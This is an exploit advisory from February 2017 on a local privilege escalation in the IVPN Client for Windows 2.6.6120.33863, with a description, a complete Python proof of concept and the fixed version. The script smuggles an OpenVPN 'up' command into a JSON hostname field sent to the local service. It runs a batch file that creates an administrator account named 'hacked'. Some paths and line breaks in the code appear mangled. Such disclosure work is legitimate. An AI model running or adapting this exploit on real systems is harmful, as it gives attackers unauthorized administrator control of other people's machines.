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IVPN 2.6.6120.33863 Privilege Escalation

Posted on 08 February 2017

# Exploit IVPN Client for Windows 2.6.6120.33863 Privilege Escalation
# Date: 06.02.2017
# Software Link: https://www.ivpn.net/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local

1. Description

It is possible to run `openvpn` as `SYSTEM` with custom openvpn.conf.

Using `--up cmd` we can execute any command.

https://security.szurek.pl/ivpn-client-for-windows-26612033863-privilege-escalation.html

2. Proof of Concept

https://github.com/kacperszurek/exploits/blob/master/IVPN/ivpn_privilege_escalation.py

import socket

print "IVPN Client for Windows 2.6.6120.33863 Privilege Escalation"
print "by Kacper Szurek"
print "http://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"

hostname = "is.gw.ivpn.net 2049"
username = "your_username"
password = "your_password"

open(r'c:\1\test.bat', 'w').write('net user hacked /add
net localgroup administrators hacked /add')

port = int(open(r"c:Program FilesIVPN Clientetcport.txt").read())

a = r'{"$type":"IVPN.OpenVPNServer, IVPN.Core","id":"id","region":"region","country":"country","city":"city","hostnames":{"$type":"System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib","$values":["'+hostname+r'
up c:\\\\1\\\\test.bat
verb"]},"ports":{"$type":"System.Collections.Generic.List`1[[IVPN.OpenVPNServerPort, IVPN.Core]], mscorlib","$values":[{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000}]}}'

b = r'{"$type":"IVPN.IVPNConnectRequest, IVPN.Core","entryServer":'+a+',"exitServer":'+a+',"username":"'+username+'","password":"'+password+'","portProtocol":{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000},"proxyType":"sth","proxyAddress":"proxyAddress","proxyPort":100,"proxyUsername":"proxyUsername","proxyPassword":"proxyPassword"}'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", port))
s.send(b)

print "OK"

3. Solution

Update to version 2.6.2

https://www.ivpn.net/setup/windows-changelog.html

 

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